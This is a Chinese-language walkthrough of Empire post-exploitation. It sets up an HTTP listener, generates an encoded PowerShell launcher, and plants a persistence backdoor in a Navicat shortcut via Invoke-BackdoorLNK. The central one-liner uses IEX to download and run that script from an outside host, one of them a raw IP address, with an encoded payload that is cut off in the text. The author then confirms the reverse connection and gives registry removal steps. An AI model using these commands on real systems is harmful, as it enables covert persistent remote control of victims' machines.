1.进入empire
./reset.sh
2、进去listeners设置监听器
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Name lnk
(Empire: listeners/http) > execute
(Empire) > usestager
(Empire) > usestager windows/dll
(Empire: stager/windows/dll) > set Listener lnk
3、生成payload
(Empire: agents) > listeners
(Empire: listeners) > launcher powershell lnk
4、安装lnk后门
这里我安装的后门在navicat上所以我需要找到navicai的快捷方式的路径
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PremiumSoft\Navicat Premium 12.lnk
然后我们把上面生成的payload所要执行的的代码(就是参数-enc之后的代码复制起来)
放到这段payload中我们所要利用的powershell lnk后门的模块
powershell -nop -execbypass -c "IEX (New-ObjectNet.WebClient).DownloadString('https://github.com/EmpireProject/Empire/raw/master/data/module_source/persistence/Invoke-BackdoorLNK.ps1');;Invoke-BackdoorLNK -LNKPath 快捷方式的路径 -EncScript empire中生成的-enc后门的代码
实例:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://120.79.66.58:81/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PremiumSoft\Navicat Premium 12.lnk' -EncScript SQBmACgAJABQAFMAVgBlAFIAcwBJAE8ATgBUAEEAYgBsAEUALgBQAFMAVgBFAHIAcwBJAG8ATgAuAE0AYQBKAG8AUgAgAC0ARwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAEYAXQAuAEEAUwBzAGUAbQBiAEwAeQAuAEcAZQB0AFQAWQBQAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAVABGAEkARQBgAEwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAEEATABVAEUAKAAkAE4AdQBMAGwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8
然后再去运行快捷方式的navicat发现反弹成功
5、进入会话 S892DF5C
(Empire: listeners) > agents
(Empire: agents) > interact S892DF5C
删除后门
1、找到注册表中:HKCU\Software\Microsoft\Windows\debug
2、删除debug
参考文章:
https://www.freebuf.com/articles/network/133640.html